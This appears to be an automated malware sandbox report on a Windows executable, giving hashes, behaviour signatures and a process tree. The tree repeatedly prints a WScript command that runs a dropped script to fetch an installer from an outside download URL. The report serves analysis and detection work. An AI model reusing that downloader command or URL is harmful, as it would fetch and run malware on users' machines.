Analysis

  • max time kernel
    95s
  • max time network
    102s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    04/12/2022, 10:35

General

  • Target

    af6ed954d30310f41e0b3aab892bcfdc4c97b17d21005796af64c568d00e0200.exe

  • Size

    184KB

  • MD5

    64ec9c558d6d94509035cc932cb59576

  • SHA1

    29d2102fe616be027b20fae047277e8c0d4cd56b

  • SHA256

    af6ed954d30310f41e0b3aab892bcfdc4c97b17d21005796af64c568d00e0200

  • SHA512

    95cc8822e342b61a8d3f6e54084cef1168d4e9f98d6541d0079d17bc7002460b41f81895fe85ef76d5860a7730599df8da31e9a9089fd61108fe5c2177560b72

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3x:/7BSH8zUB+nGESaaRvoB7FJNndn8

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af6ed954d30310f41e0b3aab892bcfdc4c97b17d21005796af64c568d00e0200.exe
    "C:\Users\Admin\AppData\Local\Temp\af6ed954d30310f41e0b3aab892bcfdc4c97b17d21005796af64c568d00e0200.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:868
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBB16.js" http://www.djapp.info/?domain=VizyhagmjL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBB16.exe
      2⤵
      • Blocklisted process makes network request
      PID:468
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBB16.js" http://www.djapp.info/?domain=VizyhagmjL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBB16.exe
      2⤵
      • Blocklisted process makes network request
      PID:1072
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBB16.js" http://www.djapp.info/?domain=VizyhagmjL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBB16.exe
      2⤵
      • Blocklisted process makes network request
      PID:1196
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBB16.js" http://www.djapp.info/?domain=VizyhagmjL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBB16.exe
      2⤵
      • Blocklisted process makes network request
      PID:1620
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufBB16.js" http://www.djapp.info/?domain=VizyhagmjL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufBB16.exe
      2⤵
      • Blocklisted process makes network request
      PID:1096

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\fufBB16.js

          Filesize

          3KB

          MD5

          3813cab188d1de6f92f8b82c2059991b

          SHA1

          4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

          SHA256

          a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

          SHA512

          83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\U2V9Z8O4.txt

          Filesize

          100B

          MD5

          20452f94703fdca4a79e33019f865ba9

          SHA1

          97fb87c59d4c1b4f698edd52ae1bfd361d269a0f

          SHA256

          714ff6c3e438e995bcb35575c04879c35ad2d811b942eeae92db73d1f7a71992

          SHA512

          4f50fe1a0a96005f66084214fa0a4bcfba9b5c82b9e9cd8058158ec679e2f29d06fca087c884fe402fbe97764517ef33c63731f210b0dd3b85edfebae1d127ee

        • memory/868-54-0x0000000075351000-0x0000000075353000-memory.dmp

          Filesize

          8KB